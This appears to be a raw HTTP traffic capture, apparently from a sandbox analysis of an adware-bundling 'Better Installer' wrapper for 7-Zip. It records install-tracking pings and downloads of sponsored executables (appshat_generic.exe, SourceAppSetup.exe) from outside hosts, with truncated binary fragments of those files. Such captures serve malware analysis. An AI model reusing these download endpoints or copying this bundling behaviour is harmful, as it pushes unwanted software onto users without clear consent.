..A..W.u.a.....g....D.X..).*z.a...M.....6pZ.]%..........s.q..D6:.z~\.0
rE.P....x$>8.^..8.y......7D$g.....(..nt.g.....1CHK..b.."SP..W..(...
7..A.....Y.).e.....@..?\....$O........,G-q..\......z..O.......=#...3.U
.>D..}....Bm.Q\l.....d.T..#-.0t........Jj. y...M.)...L....Y.8a.QE..
...C.....B...=xB5.PV.......P..... ..|..b...[Z.z.{.#..........9.[.M.X..
i!..-..y(..-.j)S..zui...\.u.#...l..'..QM.*..92"./..5.&.V)"KO.....O...@
I......i....vW5...O..(...`kOu.pBM.3......g.|W"..~.*..D...z..r.....`...
....w.......{...i,......w?n...-.7.u..]lP..^.I....;.".....80..w...n...A
.......V.......&&.y.J6d....0......;...&.......-?.%M...4e...x.48&...S4R
.fp<-.;....p.q..w.....S.cc..D...MT.R.H...Y...:..-.P.............6XO
>..{B...A...Y.t|...... ....../n...nK..v...:....-.....\o..y.b...<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

If-Modified-Since: Thu, 05 Feb 2015 17:35:24 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Date: Mon, 23 Feb 2015 22:24:31 GMT

Expires: Tue, 24 Feb 2015 00:24:31 GMT

Age: 5863

Server: GFE/2.0
....


GET /r/__utm.gif?utmwv=5.6.3&utms=1&utmn=235482190&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Installer_Init&utmht=1424736154915&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=690597220&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 24 Feb 2015 00:02:14 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.08

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 24 Feb 2015 00:02:14 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:04:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 2015 00:04:21 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0
..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: se30KtOF5orCeysiGbZsuA7chviqnMCZXRLmqQIIvPp9R_3dEZjYYA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zJiWy-NCAuj4v8rPjbtsClgGUxAqKOeWIablLLL3zEfgIJToro4F8g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mynhMIlMfiZr5KqQVan6CueZxlpID947i5hXqfUNyoXmwrCbw44scw==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U........<<< skipped >>>

GET /__utm.gif?utmwv=5.6.3&utms=2&utmn=1085911575&utmhn=installer.filebulldog.com&utmhid=1985456636&utmr=-&utmp=Offer_Accepted&utmht=1424736257879&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 19 Feb 2015 06:52:58 GMT

Server: Golfe2

Content-Length: 35

Age: 407459

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 19 Feb 2015 06:52:58 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 407459..Alternate-Protocol: 80:quic,p=0.08..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;....


GET /__utm.gif?utmwv=5.6.3&utms=3&utmn=809616912&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(mystartsearch)&utmhid=1985456636&utmr=-&utmp=Install_Complete&utmht=1424736281744&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 19 Feb 2015 06:52:58 GMT

Server: Golfe2

Content-Length: 35

Age: 407483

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 19 Feb 2015 06:52:58 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 407483..Alternate-Protocol: 80:quic,p=0.08..Cache-Control:
 private, no-cache, no-cache=Set-Cookie, proxy-revalidate..GIF89a.....
........,...........D..;..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&0.28266240010454496 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:34 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:34 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 24 Feb 2015 00:03:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.98 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 24 Feb 201
5 00:03:58 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.98 ms","message":"store 4 act
ion and 5 update "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tu
e, 24 Feb 2015 00:04:02 GMT..Content-Type: text/html; charset=utf-8..T
ransfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5
.3.3..xa-api-version: v4..48..{"stats":"ok","time":"1.30 ms","message"
:"store 1 action and 0 update "}..0..HTTP/1.1 200 OK..Server: nginx/1.
6.2..Date: Tue, 24 Feb 2015 00:04:02 GMT..Content-Type: text/html; cha
rset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..X-Powe
red-By: PHP/5.3.3..xa-api-version: v4..48..{"stats":"ok","time":"1.30 
ms","message":"store 1 action and 0 update "}..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=510258-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 510258-583151/583152

Content-Length: 72894

Connection: keep-alive
.^...C.&..N..I....t.{.r.u.<F.kW..%Q.9,.2..Q4.N.l4y....|...u.U.. H..
......u{.......^.?....fC....}......C...%..3C. YR<.V0g.6F1......U...
&7N.3n.....L,..w0..9.........x5o.....d...C..e........|.....)..9%.)3.Xx
...[.}...d..6..Eg..*.2.6....:.q.F.3..[l.r.3..=..!......,#o...u8U7=...q
.M..U........O.....E..-).c...Lx.?'|.............V.H...........![..... 
...e...........R1..._F...U............3I..qH.w9........eCC....d.....V5
...CV.Df....7..P..O..........D.`..;.s1...C ............)...n..(K~.....
.T......lK..'.N2)V..._.Q...5...t..${..>..A..*.F. .....Y.T.&|..vMg=.
........>s.g.b...7& ^.l7..m......:.....e`.....;..ig..M..74NJ.`....a
...n...*j_.V........Ri..c,.]..R.Kr..c..y.B....^.C^4A.[RPG..fT......"..
M...........MYr.......B.[.k.O.M.t]....s...~A.f<~~..i.9....RY}lB..7.
..v-..!U..."\I....M..C.1;..<...xn..O....b...f........l.^......vb.i"
..4.Ah9[..n.....3t.~..w$...........%..l.q.p;.Y:_8p..p.L..%..J&"....6x;
.......z.^O`.F.y..{..F..mm.f.%...F........tXP.T.'.%............R..n...
.Z.[....l...<..S?....J}o........wCw.q.Lmm0.......t............kp.k.
.]...`..Y.S.x..~..$.........t..-.......B....,.............K...P|./....
y..=...%R.}.....}-..%.L|.tW.L...Oy_1.<.....6.;..!.....:m.v.H.*.SW.l
5......;...jn.K..:.W6 O;........`)~=.)...f... :.3.L.34*n. N_."XWM_..;.
....p.I.......Ib:.`...L&.n/....X.bN...m.f:...T.W2.....o.R..$.)AV.UH7..
Z..X.[... V....N.h.?..H...O...E.D...^.ps.U.Fp......_...m..Ym.......M..
.R.C.....|...Z.j......I.E....1...V.r..".I.rV.q.......g..[2.R.W.|.V._..
..k...?.:.K.T.....a....u(.#..ZW#%&.....$nb:[."......V....... 3A.g.<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:55:18 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Sun, 22 Feb 2015 05:05:18 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 5

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2mO4BhkRaoBy1K-cHiZLV1yIHe-Zzp4189j93NUBMJnXHHg3gaLlHg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1hg3hnogsqyks.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:53:31 GMT

Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT

Expires: Sun, 22 Feb 2015 05:03:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 294

X-Cache: Hit from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pLH6HQRkaC1AG_06Z6-B55zARMFuglwo-W2BdMkQ2UD3n4qGPgGXnA==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7<<< skipped >>>

POST /ocsp HTTP/1.1

Host: clients1.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 107

Content-Type: application/ocsp-request

Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./..&L.$(.....0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 00:04:08 GMT

Expires: Sat, 28 Feb 2015 00:04:08 GMT

Cache-Control: public, max-age=345600

Server: ocsp_responder

Content-Length: 463

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Alternate-Protocol: 80:quic,p=0.08
0..........0..... .....0......0...0......J......h.v....b..Z./..2015022
3190331Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.&L.$(.......20150223190331Z....20150302190331Z0...*.H.............J..
..X..4y.. .M_Df.....C.W......3E...e..6.VR..X.S%..(D6.}[..q.l......g...
.I...0............<.....Z.)(.r...0.G..X.......B;?fQ...(.38..?.n.;..
<.....l]...."......Ebhhz......?...zIc~.*..?Py...2?.~K.F..TD.._F`...
:...*k...k....._...X:..Ja .zl.m.X.v......;a".2B..HTTP/1.1 200 OK..Cont
ent-Type: application/ocsp-response..Date: Tue, 24 Feb 2015 00:04:08 G
MT..Expires: Sat, 28 Feb 2015 00:04:08 GMT..Cache-Control: public, max
-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protec
tion: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 
80:quic,p=0.08..0..........0..... .....0......0...0......J......h.v...
